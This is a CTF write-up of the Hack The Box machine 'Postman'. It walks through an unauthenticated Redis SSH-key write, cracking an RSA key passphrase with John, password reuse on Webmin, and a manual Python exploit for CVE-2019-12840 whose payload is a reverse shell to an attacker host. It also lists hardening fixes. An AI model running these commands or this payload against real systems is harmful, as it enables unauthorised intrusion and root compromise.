- OS: Linux (Ubuntu 18.04)
- Domain / vhosts: none
Summary
Postman is a Linux Easy with two well-known service-abuse techniques separated by a password-cracking step: unauthenticated Redis file-write for initial access, and Webmin 1.910 Package Updates RCE (CVE-2019-12840) for root.
The kill-chain: Redis 4.0.9 on port 6379 has no authentication and is
bound to all interfaces → CONFIG SET redirects the RDB dump to
/var/lib/redis/.ssh/authorized_keys → SSH in as redis → an encrypted
RSA key backup at /opt/id_rsa.bak belongs to user Matt → John the
Ripper cracks the passphrase → su - Matt (direct SSH is blocked by
DenyUsers Matt) → Matt’s system credentials work for the Webmin admin
panel → CVE-2019-12840 command injection in the Package Updates module
delivers a root shell.
The two signature lessons: (1) Redis exposed without authentication on
a public interface is equivalent to unauthenticated file write to any
path the process can access; (2) credential reuse from system to web
admin panel — Matt:computer2008 unlocks both su and Webmin.
Source attribution
- 0xdf, “HTB: Postman” — https://0xdf.gitlab.io/2020/03/14/htb-postman.html.
Primary source. Covers the Redis SSH-key write (with newline-padding
detail), the
/opt/id_rsa.bakpivot, John cracking, theDenyUsersSSH gotcha, and the CVE-2019-12840 manual Python PoC. - IppSec, “Postman” video walkthrough — https://ippsec.rocks/?#Postman.
- CVE-2019-12840 (Webmin 1.910 Package Updates RCE).
Recon
nmap -p- --min-rate=5000 -oN nmap/allports.txt <TARGET>
nmap -sC -sV -p 22,80,6379,10000 -oN nmap/scripts.txt <TARGET>
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp open http Apache httpd 2.4.29 (Ubuntu)
6379/tcp open redis Redis key-value store 4.0.9
10000/tcp open http MiniServ 1.910 (Webmin HTTPS)
Two attack surfaces stand out: Redis with no auth banner and Webmin 1.910. The HTTP site on port 80 is a static page with no useful content.
Foothold — Redis unauthenticated SSH key write
Redis 4.0.9 is bound to 0.0.0.0 with authentication disabled. The CONFIG
command is unrestricted, allowing an attacker to redirect where Redis saves
its RDB dump — effectively an arbitrary file-write primitive for any path
the redis OS user can write.
Step 1 — Generate a keypair:
ssh-keygen -t rsa -f /tmp/redis_key
Step 2 — Pad the public key with blank lines:
Redis RDB files prepend and append binary metadata. Without padding, that
metadata bleeds into the authorized_keys entry and SSH rejects the key:
(echo -e "\n\n"; cat /tmp/redis_key.pub; echo -e "\n\n") > /tmp/spaced.txt
Step 3 — Load the key into Redis and redirect the dump:
cat /tmp/spaced.txt | redis-cli -h <TARGET> -x SET crackit
redis-cli -h <TARGET>
> CONFIG SET dir /var/lib/redis/.ssh
> CONFIG SET dbfilename authorized_keys
> SAVE
> exit
Redis writes its RDB file to /var/lib/redis/.ssh/authorized_keys. The
newline padding isolates the public key from the RDB binary framing.
Step 4 — SSH as redis:
ssh -i /tmp/redis_key redis@<TARGET>
redis@Postman:~$ id
uid=107(redis) gid=114(redis) groups=114(redis)
Note: The Metasploit redis/redis_server module (which uses MODULE LOAD
to execute a shared library) fails on this box — the MODULE command has been
renamed in /etc/redis/redis.conf (rename-command MODULE ""). The SSH key
write is the only working path.
Lateral move — /opt/id_rsa.bak key cracking
ls -la /opt/
# -rwxr-xr-x 1 Matt Matt 1743 Aug 26 2019 id_rsa.bak
An encrypted RSA private key belonging to user Matt is world-readable.
Transfer it to the attack machine:
# from redis shell
cat /opt/id_rsa.bak
# copy output and paste into id_rsa.bak on attack machine
Crack the passphrase:
python3 /usr/share/john/ssh2john.py id_rsa.bak > id_rsa.hash
john id_rsa.hash --wordlist=/usr/share/wordlists/rockyou.txt
Passphrase: computer2008.
Direct SSH as Matt is blocked:
ssh -i id_rsa.bak Matt@<TARGET>
# → "Permission denied (publickey)."
# /etc/ssh/sshd_config: DenyUsers Matt
The DenyUsers Matt directive in sshd_config prevents SSH login regardless
of key. Use su from the existing redis shell:
su - Matt
# Password: computer2008
user.txt is at /home/Matt/user.txt.
Privilege escalation — CVE-2019-12840 (Webmin Package Updates RCE)
Webmin 1.910 is vulnerable to authenticated RCE via its Package Updates module. An authenticated user with access to the update function can inject shell commands into the update request, which executes as root because the Webmin daemon runs as root.
Matt’s system credentials (Matt / computer2008) work for the Webmin
login at https://<TARGET>:10000.
Metasploit path:
use exploit/linux/http/webmin_packageup_rce
set RHOSTS <TARGET>
set LHOST <ATTACKER>
set USERNAME Matt
set PASSWORD computer2008
set SSL true
run
Manual Python PoC:
The vulnerable endpoint is /package-updates/update.cgi. The injection uses
a duplicate u parameter — the second value contains a pipe-injected command.
Webmin’s CSRF protection requires a matching Referer header:
import requests, base64
s = requests.session()
s.verify = False
# Authenticate
s.post('https://<TARGET>:10000/session_login.cgi',
data={'page': '', 'user': 'Matt', 'pass': 'computer2008'})
# Build payload
cmd = 'bash -c "bash -i >& /dev/tcp/<ATTACKER>/443 0>&1"'
b64 = base64.b64encode(cmd.encode()).decode()
# Inject
s.post('https://<TARGET>:10000/package-updates/update.cgi',
data=[('u', 'acl/apt'),
('u', f'| bash -c "echo {b64}|base64 -d|bash"'),
('ok_top', 'Update Selected Packages')],
headers={'Referer': 'https://<TARGET>:10000/'})
root@Postman:/usr/share/webmin/package-updates# id
uid=0(root) gid=0(root) groups=0(root)
root.txt is at /root/root.txt.
Why each step worked
- Redis
CONFIG SETas a file-write primitive: Redis’sCONFIGcommand allows runtime reconfiguration of the server, including the directory and filename for the RDB persistence file. This is intended for legitimate administrative use but constitutes an arbitrary file-write as the redis OS user when no authentication is required. Any service that exposes administrative commands to unauthenticated clients on a public interface has effectively granted those privileges to the internet. - RDB padding requirement: Redis’s RDB format wraps the stored data in
a binary header and footer (version marker, CRC64 checksum). Without
surrounding newlines, the key entry in
authorized_keysis corrupted by these bytes. SSH’sauthorized_keysparser skips lines that are not valid key entries, so padding isolates the actual public key from the RDB framing. DenyUsers Mattinsshd_config: the box creator blocked SSH login for Matt to force thesupath (requiring knowledge of the passphrase as a system password, not just a key passphrase). This is a deliberate design choice that demonstrates credential reuse: the key passphrase doubles as the system account password.- Webmin runs as root: Webmin is a system administration panel that
must perform privileged operations (package management, service control,
user management). It runs as root. Any authenticated code execution within
Webmin is therefore root-level execution. CVE-2019-12840 exploits the
package update functionality, which is inherently privileged — the fix
was to sanitise the
uparameter before passing it to the package manager.
Counterfactuals
- Bind Redis to
127.0.0.1only:bind 127.0.0.1inredis.conf. Redis should almost never be exposed on a public interface. Addrequirepass <strongpassword>as a second layer. - Disable the
CONFIGcommand for non-admin connections:rename-command CONFIG ""inredis.conf(the box already does this forMODULEbut notCONFIG). - Do not leave private key backups in world-readable locations.
/opt/id_rsa.bakwith mode 0755 is accessible to every local user and to any process running under any account. - Upgrade Webmin to 1.920+ (the CVE-2019-12840 fix). Consider placing Webmin behind a firewall rule that restricts port 10000 to management networks only.
- Do not reuse key passphrases as system account passwords. The passphrase for an SSH key and the interactive login password should be independent secrets.
Key Takeaways
- Redis without authentication on a public interface is a direct file-write
primitive. The standard exploitation pattern is
CONFIG SET dir+CONFIG SET dbfilename+SAVE→ write to~/.ssh/authorized_keys. Memorise the four Redis commands; they appear on multiple HTB boxes and in real-world misconfigured deployments. - Newline padding (
\n\nbefore and after the public key) is mandatory for the Redis SSH key write to succeed. Without it, the RDB binary framing corrupts the key and SSH rejects it silently. - Check
sshd_configforDenyUsers/AllowUsersbefore concluding an SSH attempt has failed due to a wrong credential. A rejected key or password that you know is correct should prompt a check of SSH server restrictions. - Webmin as a privesc surface recurs on HTB. When port 10000 is open, check the Webmin version against known CVEs. Authenticated RCE is the most common class; any low-privileged account whose credentials work for Webmin login is a potential root path.
DenyUsers Mattforcingsuis the designer signalling that the key passphrase is also the system password. When a cracked key passphrase doesn’t get SSH access, try it as a password forsuorsudo.
References
- 0xdf, “HTB: Postman” — https://0xdf.gitlab.io/2020/03/14/htb-postman.html
- IppSec, “Postman” — https://ippsec.rocks/?#Postman
- CVE-2019-12840 (Webmin 1.910 Package Updates RCE)
- Metasploit module:
exploit/linux/http/webmin_packageup_rce